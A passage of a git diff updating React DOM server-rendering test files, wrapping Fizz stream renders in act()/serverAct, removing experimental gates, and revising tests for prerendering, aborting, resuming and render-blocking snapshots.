+    const {writable, output} = getTestWritable();
+    await act(() => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
+        <div>hello world</div>,
+        {
+          onShellReady() {
+            pipe(writable);
+          },
+        },
+      );
+    });
     expect(output.result).toMatchInlineSnapshot(`"<div>hello world</div>"`);
   });
 
-  it('should emit DOCTYPE at the root of the document', () => {
+  it('should emit DOCTYPE at the root of the document', async () => {
     const {writable, output} = getTestWritable();
-    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
-      <html>
-        <body>hello world</body>
-      </html>,
-    );
-    pipe(writable);
-    jest.runAllTimers();
+    await act(() => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
+        <html>
+          <body>hello world</body>
+        </html>,
+      );
+      pipe(writable);
+    });
     // with Float, we emit empty heads if they are elided when rendering <html>
-    expect(output.result).toMatchInlineSnapshot(
-      `"<!DOCTYPE html><html><head></head><body>hello world</body></html>"`,
-    );
+    if (gate(flags => flags.enableFizzBlockingRender)) {
+      expect(output.result).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head><link rel="expect" href="#_R_" blocking="render"/></head><body>hello world<template id="_R_"></template></body></html>"`,
+      );
+    } else {
+      expect(output.result).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head></head><body>hello world</body></html>"`,
+      );
+    }
   });
 
-  it('should emit bootstrap script src at the end', () => {
+  it('should emit bootstrap script src at the end', async () => {
     const {writable, output} = getTestWritable();
-    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
-      <div>hello world</div>,
-      {
-        bootstrapScriptContent: 'INIT();',
-        bootstrapScripts: ['init.js'],
-        bootstrapModules: ['init.mjs'],
-      },
-    );
-    pipe(writable);
-    jest.runAllTimers();
+    await act(() => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
+        <div>hello world</div>,
+        {
+          bootstrapScriptContent: 'INIT();',
+          bootstrapScripts: ['init.js'],
+          bootstrapModules: ['init.mjs'],
+        },
+      );
+      pipe(writable);
+    });
     expect(output.result).toMatchInlineSnapshot(
-      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script>INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
+      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script id="_R_">INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
     );
   });
 
-  it('should start writing after pipe', () => {
+  it('should start writing after pipe', async () => {
     const {writable, output} = getTestWritable();
-    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
-      <div>hello world</div>,
-    );
-    jest.runAllTimers();
+    let pipe;
+    await act(() => {
+      pipe = ReactDOMFizzServer.renderToPipeableStream(
+        <div>hello world</div>,
+      ).pipe;
+    });
     // First we write our header.
     output.result +=
       '<!doctype html><html><head><title>test</title><head><body>';
@@ -281,24 +329,26 @@ describe('ReactDOMFizzServerNode', () => {
     let isCompleteCalls = 0;
     const errors = [];
     const {writable, output, completed} = getTestWritable();
-    const {pipe, abort} = ReactDOMFizzServer.renderToPipeableStream(
-      <div>
-        <Suspense fallback={<div>Loading</div>}>
-          <InfiniteSuspend />
-        </Suspense>
-      </div>,
-      {
-        onError(x) {
-          errors.push(x.message);
-        },
-        onAllReady() {
-          isCompleteCalls++;
+    let abort;
+    await act(() => {
+      const pipeable = ReactDOMFizzServer.renderToPipeableStream(
+        <div>
+          <Suspense fallback={<div>Loading</div>}>
+            <InfiniteSuspend />
+          </Suspense>
+        </div>,
+        {
+          onError(x) {
+            errors.push(x.message);
+          },
+          onAllReady() {
+            isCompleteCalls++;
+          },
         },
-      },
-    );
-    pipe(writable);
-
-    jest.runAllTimers();
+      );
+      pipeable.pipe(writable);
+      abort = pipeable.abort;
+    });
 
     expect(output.result).toContain('Loading');
     expect(isCompleteCalls).toBe(0);
@@ -360,26 +410,28 @@ describe('ReactDOMFizzServerNode', () => {
     let isCompleteCalls = 0;
     const errors = [];
     const {writable, output, completed} = getTestWritable();
-    const {pipe, abort} = ReactDOMFizzServer.renderToPipeableStream(
-      <div>
-        <Suspense fallback="Loading">
-          <Suspense fallback={<InfiniteSuspend />}>
-            <InfiniteSuspend />
+    let abort;
+    await act(() => {
+      const pipeable = ReactDOMFizzServer.renderToPipeableStream(
+        <div>
+          <Suspense fallback="Loading">
+            <Suspense fallback={<InfiniteSuspend />}>
+              <InfiniteSuspend />
+            </Suspense>
           </Suspense>
-        </Suspense>
-      </div>,
-      {
-        onError(x) {
-          errors.push(x.message);
-        },
-        onAllReady() {
-          isCompleteCalls++;
+        </div>,
+        {
+          onError(x) {
+            errors.push(x.message);
+          },
+          onAllReady() {
+            isCompleteCalls++;
+          },
         },
-      },
-    );
-    pipe(writable);
-
-    jest.runAllTimers();
+      );
+      pipeable.pipe(writable);
+      abort = pipeable.abort;
+    });
 
     expect(output.result).toContain('Loading');
     expect(isCompleteCalls).toBe(0);
@@ -428,15 +480,17 @@ describe('ReactDOMFizzServerNode', () => {
 
     const client = new DelayClient();
     const {writable, output, completed} = getTestWritable();
-    ReactDOMFizzServer.renderToPipeableStream(
-      <DelayContext.Provider value={client}>
-        <Suspense fallback="loading">
-          <Component />
-        </Suspense>
-      </DelayContext.Provider>,
-    ).pipe(writable);
-
-    jest.runAllTimers();
+    await act(() => {
+      ReactDOMFizzServer.renderToPipeableStream(
+        <DelayContext.Provider value={client}>
+          <div>
+            <Suspense fallback="loading">
+              <Component />
+            </Suspense>
+          </div>
+        </DelayContext.Provider>,
+      ).pipe(writable);
+    });
 
     expect(output.error).toBe(undefined);
     expect(output.result).toContain('loading');
@@ -481,29 +535,32 @@ describe('ReactDOMFizzServerNode', () => {
       output: output0,
       completed: completed0,
     } = getTestWritable();
-    ReactDOMFizzServer.renderToPipeableStream(
-      <DelayContext.Provider value={client0}>
-        <Suspense fallback="loading">
-          <Component />
-        </Suspense>
-      </DelayContext.Provider>,
-    ).pipe(writable0);
-
     const client1 = new DelayClient();
     const {
       writable: writable1,
       output: output1,
       completed: completed1,
     } = getTestWritable();
-    ReactDOMFizzServer.renderToPipeableStream(
-      <DelayContext.Provider value={client1}>
-        <Suspense fallback="loading">
-          <Component />
-        </Suspense>
-      </DelayContext.Provider>,
-    ).pipe(writable1);
-
-    jest.runAllTimers();
+    await act(() => {
+      ReactDOMFizzServer.renderToPipeableStream(
+        <DelayContext.Provider value={client0}>
+          <div>
+            <Suspense fallback="loading">
+              <Component />
+            </Suspense>
+          </div>
+        </DelayContext.Provider>,
+      ).pipe(writable0);
+      ReactDOMFizzServer.renderToPipeableStream(
+        <DelayContext.Provider value={client1}>
+          <div>
+            <Suspense fallback="loading">
+              <Component />
+            </Suspense>
+          </div>
+        </DelayContext.Provider>,
+      ).pipe(writable1);
+    });
 
     expect(output0.error).toBe(undefined);
     expect(output0.result).toContain('loading');
@@ -552,22 +609,22 @@ describe('ReactDOMFizzServerNode', () => {
 
     const client = new DelayClient();
     const {writable, output, completed} = getTestWritable();
-    ReactDOMFizzServer.renderToPipeableStream(
-      <>
-        <DelayContext.Provider value={client}>
-          <Suspense fallback="loading">
-            <Component />
-          </Suspense>
-        </DelayContext.Provider>
-        <DelayContext.Provider value={client}>
-          <Suspense fallback="loading">
-            <Component />
-          </Suspense>
-        </DelayContext.Provider>
-      </>,
-    ).pipe(writable);
-
-    jest.runAllTimers();
+    await act(() => {
+      ReactDOMFizzServer.renderToPipeableStream(
+        <div>
+          <DelayContext.Provider value={client}>
+            <Suspense fallback="loading">
+              <Component />
+            </Suspense>
+          </DelayContext.Provider>
+          <DelayContext.Provider value={client}>
+            <Suspense fallback="loading">
+              <Component />
+            </Suspense>
+          </DelayContext.Provider>
+        </div>,
+      ).pipe(writable);
+    });
 
     expect(output.error).toBe(undefined);
     expect(output.result).toContain('loading');
@@ -585,7 +642,7 @@ describe('ReactDOMFizzServerNode', () => {
     let isComplete = false;
     let rendered = false;
     const promise = new Promise(r => (resolve = r));
-    function Wait() {
+    function Wait({prop}) {
       if (!hasLoaded) {
         throw promise;
       }
@@ -630,13 +687,14 @@ describe('ReactDOMFizzServerNode', () => {
     expect(isComplete).toBe(true);
   });
 
-  it('should encode multibyte characters correctly without nulls (#24985)', () => {
+  it('should encode multibyte characters correctly without nulls (#24985)', async () => {
     const {writable, output} = getTestWritable();
-    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
-      <div>{Array(700).fill('ののの')}</div>,
-    );
-    pipe(writable);
-    jest.runAllTimers();
+    await act(() => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
+        <div>{Array(700).fill('ののの')}</div>,
+      );
+      pipe(writable);
+    });
     expect(output.result.indexOf('\u0000')).toBe(-1);
     expect(output.result).toEqual(
       '<div>' + Array(700).fill('ののの').join('<!-- -->') + '</div>',
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzShellHydration-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzShellHydration-test.js
index 5cafd83fdd24..fb2f33a4bade 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzShellHydration-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzShellHydration-test.js
@@ -255,6 +255,38 @@ describe('ReactDOMFizzShellHydration', () => {
     },
   );
 
+  it(
+    'updating the root at same priority as initial hydration does not ' +
+      'force a client render',
+    async () => {
+      function App() {
+        return <Text text="Initial" />;
+      }
+
+      // Server render
+      await resolveText('Initial');
+      await serverAct(async () => {
+        const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);
+        pipe(writable);
+      });
+      assertLog(['Initial']);
+
+      await clientAct(async () => {
+        let root;
+        startTransition(() => {
+          root = ReactDOMClient.hydrateRoot(container, <App />);
+        });
+        // This has lower priority than the initial hydration, so the update
+        // won't be processed until after hydration finishes.
+        startTransition(() => {
+          root.render(<Text text="Updated" />);
+        });
+      });
+      assertLog(['Initial', 'Updated']);
+      expect(container.textContent).toBe('Updated');
+    },
+  );
+
   it('updating the root while the shell is suspended forces a client render', async () => {
     function App() {
       return <AsyncText text="Shell" />;
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzStatic-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzStatic-test.js
index 49afa26f65e0..e8add024998e 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzStatic-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzStatic-test.js
@@ -32,9 +32,7 @@ describe('ReactDOMFizzStatic', () => {
     React = require('react');
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
-    if (__EXPERIMENTAL__) {
-      ReactDOMFizzStatic = require('react-dom/static');
-    }
+    ReactDOMFizzStatic = require('react-dom/static');
     Stream = require('stream');
     Suspense = React.Suspense;
 
@@ -108,7 +106,10 @@ describe('ReactDOMFizzStatic', () => {
           node.tagName !== 'TEMPLATE' &&
           node.tagName !== 'template' &&
           !node.hasAttribute('hidden') &&
-          !node.hasAttribute('aria-hidden')
+          !node.hasAttribute('aria-hidden') &&
+          // Ignore the render blocking expect
+          (node.getAttribute('rel') !== 'expect' ||
+            node.getAttribute('blocking') !== 'render')
         ) {
           const props = {};
           const attributes = node.attributes;
@@ -133,8 +134,8 @@ describe('ReactDOMFizzStatic', () => {
     return children.length === 0
       ? undefined
       : children.length === 1
-      ? children[0]
-      : children;
+        ? children[0]
+        : children;
   }
 
   function resolveText(text) {
@@ -212,7 +213,6 @@ describe('ReactDOMFizzStatic', () => {
     return readText(text);
   }
 
-  // @gate experimental
   it('should render a fully static document, send it and then hydrate it', async () => {
     function App() {
       return (
@@ -244,7 +244,6 @@ describe('ReactDOMFizzStatic', () => {
     expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);
   });
 
-  // @gate experimental
   it('should support importMap option', async () => {
     const importMap = {
       foo: 'path/to/foo.js',
@@ -265,7 +264,6 @@ describe('ReactDOMFizzStatic', () => {
     ]);
   });
 
-  // @gate experimental
   it('supports onHeaders', async () => {
     let headers;
     function onHeaders(x) {
@@ -300,39 +298,115 @@ describe('ReactDOMFizzStatic', () => {
     expect(getVisibleChildren(container)).toEqual('hello');
   });
 
-  // @gate experimental && enablePostpone
-  it('includes stylesheet preloads in onHeaders when postponing in the Shell', async () => {
-    let headers;
-    function onHeaders(x) {
-      headers = x;
+  it('will prerender Suspense fallbacks before children', async () => {
+    const values = [];
+    function Indirection({children}) {
+      values.push(children);
+      return children;
     }
 
     function App() {
-      ReactDOM.preload('image', {as: 'image', fetchPriority: 'high'});
-      ReactDOM.preinit('style', {as: 'style'});
-      React.unstable_postpone();
       return (
-        <html>
-          <body>hello</body>
-        </html>
+        <div>
+          <Suspense
+            fallback={
+              <div>
+                <Indirection>outer loading...</Indirection>
+              </div>
+            }>
+            <Suspense
+              fallback={
+                <div>
+                  <Indirection>first inner loading...</Indirection>
+                </div>
+              }>
+              <div>
+                <Indirection>hello world</Indirection>
+              </div>
+            </Suspense>
+            <Suspense
+              fallback={
+                <div>
+                  <Indirection>second inner loading...</Indirection>
+                </div>
+              }>
+              <div>
+                <Indirection>goodbye world</Indirection>
+              </div>
+            </Suspense>
+          </Suspense>
+        </div>
       );
     }
 
+    const result = await ReactDOMFizzStatic.prerenderToNodeStream(<App />);
+
+    expect(values).toEqual([
+      'outer loading...',
+      'first inner loading...',
+      'second inner loading...',
+      'hello world',
+      'goodbye world',
+    ]);
+
+    await act(async () => {
+      result.prelude.pipe(writable);
+    });
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div>hello world</div>
+        <div>goodbye world</div>
+      </div>,
+    );
+  });
+
+  it('will halt a prerender when aborting with an error during a render', async () => {
+    const controller = new AbortController();
+    function App() {
+      controller.abort('sync');
+      return <div>hello world</div>;
+    }
+
+    const errors = [];
     const result = await ReactDOMFizzStatic.prerenderToNodeStream(<App />, {
-      onHeaders,
+      signal: controller.signal,
+      onError(error) {
+        errors.push(error);
+      },
     });
-    expect(headers).toEqual({
-      Link: `
-<image>; rel=preload; as="image"; fetchpriority="high",
- <style>; rel=preload; as="style"
-`
-        .replaceAll('\n', '')
-        .trim(),
+    await act(async () => {
+      result.prelude.pipe(writable);
     });
+    expect(errors).toEqual(['sync']);
+    expect(getVisibleChildren(container)).toEqual(undefined);
+  });
+
+  it('will halt a prerender when aborting with an error in a microtask', async () => {
+    const errors = [];
+
+    const controller = new AbortController();
+    function App() {
+      React.use(
+        new Promise(() => {
+          Promise.resolve().then(() => {
+            controller.abort('async');
+          });
+        }),
+      );
+      return <div>hello world</div>;
+    }
 
+    errors.length = 0;
+    const result = await ReactDOMFizzStatic.prerenderToNodeStream(<App />, {
+      signal: controller.signal,
+      onError(error) {
+        errors.push(error);
+      },
+    });
     await act(async () => {
       result.prelude.pipe(writable);
     });
+    expect(errors).toEqual(['async']);
     expect(getVisibleChildren(container)).toEqual(undefined);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzStaticBrowser-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzStaticBrowser-test.js
index 7a3db48b016e..30dce64f1049 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzStaticBrowser-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzStaticBrowser-test.js
@@ -5,6 +5,7 @@
  * LICENSE file in the root directory of this source tree.
  *
  * @emails react-core
+ * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment
  */
 
 'use strict';
@@ -22,49 +23,43 @@ global.ReadableStream =
 global.TextEncoder = require('util').TextEncoder;
 global.TextDecoder = require('util').TextDecoder;
 
+let JSDOM;
 let React;
-let ReactDOM;
 let ReactDOMFizzServer;
 let ReactDOMFizzStatic;
 let Suspense;
+let SuspenseList;
 let container;
-let Scheduler;
-let act;
+let serverAct;
 
 describe('ReactDOMFizzStaticBrowser', () => {
   beforeEach(() => {
     jest.resetModules();
+    JSDOM = require('jsdom').JSDOM;
 
-    Scheduler = require('scheduler');
-    patchMessageChannel(Scheduler);
-    act = require('internal-test-utils').act;
+    // We need the mocked version of setTimeout inside the document.
+    window.setTimeout = setTimeout;
+    window.requestAnimationFrame = setTimeout;
+
+    patchMessageChannel();
+    serverAct = require('internal-test-utils').serverAct;
 
     React = require('react');
-    ReactDOM = require('react-dom');
     ReactDOMFizzServer = require('react-dom/server.browser');
-    if (__EXPERIMENTAL__) {
-      ReactDOMFizzStatic = require('react-dom/static.browser');
-    }
+    ReactDOMFizzStatic = require('react-dom/static.browser');
     Suspense = React.Suspense;
+    SuspenseList = React.unstable_SuspenseList;
     container = document.createElement('div');
     document.body.appendChild(container);
   });
 
   afterEach(() => {
+    if (typeof global.window.__restoreGlobalScope === 'function') {
+      global.window.__restoreGlobalScope();
+    }
     document.body.removeChild(container);
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await act(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
-    });
-    return maybePromise;
-  }
-
   const theError = new Error('This is an error');
   function Throw() {
     throw theError;
@@ -74,36 +69,6 @@ describe('ReactDOMFizzStaticBrowser', () => {
     throw theInfinitePromise;
   }
 
-  function concat(streamA, streamB) {
-    const readerA = streamA.getReader();
-    const readerB = streamB.getReader();
-    return new ReadableStream({
-      start(controller) {
-        function readA() {
-          readerA.read().then(({done, value}) => {
-            if (done) {
-              readB();
-              return;
-            }
-            controller.enqueue(value);
-            readA();
-          });
-        }
-        function readB() {
-          readerB.read().then(({done, value}) => {
-            if (done) {
-              controller.close();
-              return;
-            }
-            controller.enqueue(value);
-            readB();
-          });
-        }
-        readA();
-      },
-    });
-  }
-
   async function readContent(stream) {
     const reader = stream.getReader();
     let content = '';
@@ -129,9 +94,48 @@ describe('ReactDOMFizzStaticBrowser', () => {
     const temp = document.createElement('div');
     temp.innerHTML = result;
     await insertNodesAndExecuteScripts(temp, container, null);
+    jest.runAllTimers();
+  }
+
+  async function readIntoNewDocument(stream) {
+    const content = await readContent(stream);
+    const jsdom = new JSDOM(
+      // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.
+      '<script>window.requestAnimationFrame = setTimeout;</script>' + content,
+      {
+        runScripts: 'dangerously',
+      },
+    );
+    const originalWindow = global.window;
+    const originalDocument = global.document;
+    const originalNavigator = global.navigator;
+    const originalNode = global.Node;
+    const originalAddEventListener = global.addEventListener;
+    const originalMutationObserver = global.MutationObserver;
+    global.window = jsdom.window;
+    global.document = global.window.document;
+    global.navigator = global.window.navigator;
+    global.Node = global.window.Node;
+    global.addEventListener = global.window.addEventListener;
+    global.MutationObserver = global.window.MutationObserver;
+    global.window.__restoreGlobalScope = () => {
+      global.window = originalWindow;
+      global.document = originalDocument;
+      global.navigator = originalNavigator;
+      global.Node = originalNode;
+      global.addEventListener = originalAddEventListener;
+      global.MutationObserver = originalMutationObserver;
+    };
+  }
+
+  async function readIntoCurrentDocument(stream) {
+    const content = await readContent(stream);
+    const temp = document.createElement('div');
+    temp.innerHTML = content;
+    await insertNodesAndExecuteScripts(temp, document.body, null);
+    jest.runAllTimers();
   }
 
-  // @gate experimental
   it('should call prerender', async () => {
     const result = await serverAct(() =>
       ReactDOMFizzStatic.prerender(<div>hello world</div>),
@@ -140,7 +144,6 @@ describe('ReactDOMFizzStaticBrowser', () => {
     expect(prelude).toMatchInlineSnapshot(`"<div>hello world</div>"`);
   });
 
-  // @gate experimental
   it('should emit DOCTYPE at the root of the document', async () => {
     const result = await serverAct(() =>
       ReactDOMFizzStatic.prerender(
@@ -150,12 +153,17 @@ describe('ReactDOMFizzStaticBrowser', () => {
       ),
     );
     const prelude = await readContent(result.prelude);
-    expect(prelude).toMatchInlineSnapshot(
-      `"<!DOCTYPE html><html><head></head><body>hello world</body></html>"`,
-    );
+    if (gate(flags => flags.enableFizzBlockingRender)) {
+      expect(prelude).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head><link rel="expect" href="#_R_" blocking="render"/></head><body>hello world<template id="_R_"></template></body></html>"`,
+      );
+    } else {
+      expect(prelude).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head></head><body>hello world</body></html>"`,
+      );
+    }
   });
 
-  // @gate experimental
   it('should emit bootstrap script src at the end', async () => {
     const result = await serverAct(() =>
       ReactDOMFizzStatic.prerender(<div>hello world</div>, {
@@ -166,11 +174,10 @@ describe('ReactDOMFizzStaticBrowser', () => {
     );
     const prelude = await readContent(result.prelude);
     expect(prelude).toMatchInlineSnapshot(
-      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script>INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
+      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script id="_R_">INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
     );
   });
 
-  // @gate experimental
   it('emits all HTML as one unit', async () => {
     let hasLoaded = false;
     let resolve;
@@ -202,7 +209,6 @@ describe('ReactDOMFizzStaticBrowser', () => {
     expect(prelude).toMatchInlineSnapshot(`"<div><!--$-->Done<!--/$--></div>"`);
   });
 
-  // @gate experimental
   it('should reject the promise when an error is thrown at the root', async () => {
     const reportedErrors = [];
     let caughtError = null;
@@ -226,7 +232,6 @@ describe('ReactDOMFizzStaticBrowser', () => {
     expect(reportedErrors).toEqual([theError]);
   });
 
-  // @gate experimental
   it('should reject the promise when an error is thrown inside a fallback', async () => {
     const reportedErrors = [];
     let caughtError = null;
@@ -252,7 +257,6 @@ describe('ReactDOMFizzStaticBrowser', () => {
     expect(reportedErrors).toEqual([theError]);
   });
 
-  // @gate experimental
   it('should not error the stream when an error is thrown inside suspense boundary', async () => {
     const reportedErrors = [];
     const result = await serverAct(() =>
@@ -275,7 +279,6 @@ describe('ReactDOMFizzStaticBrowser', () => {
     expect(reportedErrors).toEqual([theError]);
   });
 
-  // @gate experimental
   it('should be able to complete by aborting even if the promise never resolves', async () => {
     const errors = [];
     const controller = new AbortController();
@@ -303,11 +306,10 @@ describe('ReactDOMFizzStaticBrowser', () => {
     const prelude = await readContent(result.prelude);
     expect(prelude).toContain('Loading');
 
-    expect(errors).toEqual(['The operation was aborted.']);
+    expect(errors).toEqual(['This operation was aborted']);
   });
 
-  // @gate experimental
-  it('should reject if aborting before the shell is complete', async () => {
+  it('should resolve an empty prelude if aborting before the shell is complete', async () => {
     const errors = [];
     const controller = new AbortController();
     const promise = serverAct(() =>
@@ -329,17 +331,19 @@ describe('ReactDOMFizzStaticBrowser', () => {
     const theReason = new Error('aborted for reasons');
     controller.abort(theReason);
 
-    let caughtError = null;
+    let rejected = false;
+    let prelude;
     try {
-      await promise;
+      ({prelude} = await promise);
     } catch (error) {
-      caughtError = error;
+      rejected = true;
     }
-    expect(caughtError).toBe(theReason);
+    expect(rejected).toBe(false);
     expect(errors).toEqual(['aborted for reasons']);
+    const content = await readContent(prelude);
+    expect(content).toBe('');
   });
 
-  // @gate experimental
   it('should be able to abort before something suspends', async () => {
     const errors = [];
     const controller = new AbortController();
@@ -365,18 +369,13 @@ describe('ReactDOMFizzStaticBrowser', () => {
       ),
     );
 
-    let caughtError = null;
-    try {
-      await streamPromise;
-    } catch (error) {
-      caughtError = error;
-    }
-    expect(caughtError.message).toBe('The operation was aborted.');
-    expect(errors).toEqual(['The operation was aborted.']);
+    const {prelude} = await streamPromise;
+    const content = await readContent(prelude);
+    expect(errors).toEqual(['This operation was aborted']);
+    expect(content).toBe('');
   });
 
-  // @gate experimental
-  it('should reject if passing an already aborted signal', async () => {
+  it('should resolve an empty prelude if passing an already aborted signal', async () => {
     const errors = [];
     const controller = new AbortController();
     const theReason = new Error('aborted for reasons');
@@ -400,17 +399,19 @@ describe('ReactDOMFizzStaticBrowser', () => {
 
     // Technically we could still continue rendering the shell but currently the
     // semantics mean that we also abort any pending CPU work.
-    let caughtError = null;
+    let didThrow = false;
+    let prelude;
     try {
-      await promise;
+      ({prelude} = await promise);
     } catch (error) {
-      caughtError = error;
+      didThrow = true;
     }
-    expect(caughtError).toBe(theReason);
+    expect(didThrow).toBe(false);
     expect(errors).toEqual(['aborted for reasons']);
+    const content = await readContent(prelude);
+    expect(content).toBe('');
   });
 
-  // @gate experimental
   it('supports custom abort reasons with a string', async () => {
     const promise = new Promise(r => {});
     function Wait() {
@@ -453,7 +454,6 @@ describe('ReactDOMFizzStaticBrowser', () => {
     expect(errors).toEqual(['foobar', 'foobar']);
   });
 
-  // @gate experimental
   it('supports custom abort reasons with an Error', async () => {
     const promise = new Promise(r => {});
     function Wait() {
@@ -496,1183 +496,592 @@ describe('ReactDOMFizzStaticBrowser', () => {
     expect(errors).toEqual(['uh oh', 'uh oh']);
   });
 
-  // @gate enablePostpone
-  it('supports postponing in prerender and resuming later', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return ['Hello', 'World'];
+  it('logs an error if onHeaders throws but continues the prerender', async () => {
+    const errors = [];
+    function onError(error) {
+      errors.push(error.message);
     }
 
-    function App() {
-      return (
-        <div>
-          <Suspense fallback="Loading...">
-            <Postpone />
-          </Suspense>
-        </div>
-      );
+    function onHeaders(x) {
+      throw new Error('bad onHeaders');
     }
 
     const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    const resumed = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
+      ReactDOMFizzStatic.prerender(<div>hello</div>, {
+        onHeaders,
+        onError,
+      }),
     );
+    expect(prerendered.postponed).toBe(null);
+    expect(errors).toEqual(['bad onHeaders']);
 
     await readIntoContainer(prerendered.prelude);
+    expect(getVisibleChildren(container)).toEqual(<div>hello</div>);
+  });
 
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
+  it('can resume render of a prerender', async () => {
+    const errors = [];
 
-    await readIntoContainer(resumed);
+    let resolveA;
+    const promiseA = new Promise(r => (resolveA = r));
+    let resolveB;
+    const promiseB = new Promise(r => (resolveB = r));
 
-    expect(getVisibleChildren(container)).toEqual(
-      <div>{['Hello', 'World']}</div>,
-    );
-  });
+    async function ComponentA() {
+      await promiseA;
+      return (
+        <Suspense fallback="Loading B">
+          <ComponentB />
+        </Suspense>
+      );
+    }
 
-  // @gate enablePostpone
-  it('supports postponing in prerender and resuming with a prefix', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'World';
+    async function ComponentB() {
+      await promiseB;
+      return 'Hello';
     }
 
     function App() {
       return (
         <div>
-          <Suspense fallback="Loading...">
-            Hello
-            <Postpone />
+          <Suspense fallback="Loading A">
+            <ComponentA />
           </Suspense>
         </div>
       );
     }
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
+    const controller = new AbortController();
+    let pendingResult;
+    await serverAct(async () => {
+      pendingResult = ReactDOMFizzStatic.prerender(<App />, {
+        signal: controller.signal,
+        onError(x) {
+          errors.push(x.message);
+        },
+      });
+    });
 
-    const resumed = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
+    controller.abort();
+    const prerendered = await pendingResult;
+    const postponedState = JSON.stringify(prerendered.postponed);
 
     await readIntoContainer(prerendered.prelude);
+    expect(getVisibleChildren(container)).toEqual(<div>Loading A</div>);
 
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
-
-    await readIntoContainer(resumed);
+    await resolveA();
 
-    expect(getVisibleChildren(container)).toEqual(
-      <div>{['Hello', 'World']}</div>,
-    );
-  });
+    expect(prerendered.postponed).not.toBe(null);
 
-  // @gate enablePostpone
-  it('supports postponing in lazy in prerender and resuming later', async () => {
-    let prerendering = true;
-    const Hole = React.lazy(async () => {
-      React.unstable_postpone();
+    const controller2 = new AbortController();
+    await serverAct(async () => {
+      pendingResult = ReactDOMFizzStatic.resumeAndPrerender(
+        <App />,
+        JSON.parse(postponedState),
+        {
+          signal: controller2.signal,
+          onError(x) {
+            errors.push(x.message);
+          },
+        },
+      );
     });
 
-    function App() {
-      return (
-        <div>
-          <Suspense fallback="Loading...">
-            Hi
-            {prerendering ? Hole : 'Hello'}
-          </Suspense>
-        </div>
-      );
-    }
+    controller2.abort();
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
+    const prerendered2 = await pendingResult;
+    const postponedState2 = JSON.stringify(prerendered2.postponed);
 
-    prerendering = false;
+    await readIntoContainer(prerendered2.prelude);
+    expect(getVisibleChildren(container)).toEqual(<div>Loading B</div>);
 
-    const resumed = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
+    await resolveB();
+
+    const dynamic = await serverAct(() =>
+      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState2)),
     );
 
-    await readIntoContainer(prerendered.prelude);
+    await readIntoContainer(dynamic);
+    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);
+  });
 
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
+  it('can prerender a preamble', async () => {
+    const errors = [];
 
-    await readIntoContainer(resumed);
+    let resolveA;
